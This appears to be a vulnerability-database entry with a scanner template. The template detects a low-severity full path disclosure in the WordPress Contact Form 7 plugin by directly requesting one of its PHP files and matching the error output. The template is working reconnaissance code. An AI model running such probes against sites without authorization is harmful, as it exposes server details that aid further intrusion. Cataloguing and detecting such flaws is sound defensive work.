wp-contact-form-7-fpd: WordPress Contact Form 7 - Full Path Disclosure

2026-01-08 WordPress Contact Form 7 PoC Public

Description

The WordPress Contact Form 7 plugin was detected to be vulnerable to Full Path Disclosure, where direct access to PHP files revealed the full server filesystem path and could aid further exploitation.

Details

Severity
低危
Affected
WordPress Contact Form 7
Published
PoC
Public

PoC

id: wp-contact-form-7-fpd

info:
  name: WordPress Contact Form 7 - Full Path Disclosure
  author: pussycat0x
  severity: low
  description: |
    The WordPress Contact Form 7 plugin was detected to be vulnerable to Full Path Disclosure, where direct access to PHP files revealed the full server filesystem path and could aid further exploitation.
  reference:
    - https://wordpress.org/plugins/contact-form-7/
  tags: wordpress,wp-plugin,fpd,contact-form-7,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/contact-form-7/includes/functions.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 500'
          - 'contains(body, "wp-content/plugins/contact-form-7")'
          - 'contains_all(body, "Fatal error", "Uncaught Error:") || contains_all(body, "Warning:", "failed to open stream")'
        condition: and
# digest: 4a0a0047304502201019a19ed93c898e2e95ac01be2737d77888376f206a5039cd9536e5c4ebb408022100c00e7a23c98b0672751ef9039cce21938ebed85b44b20c3e6bfd7714b931b66c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life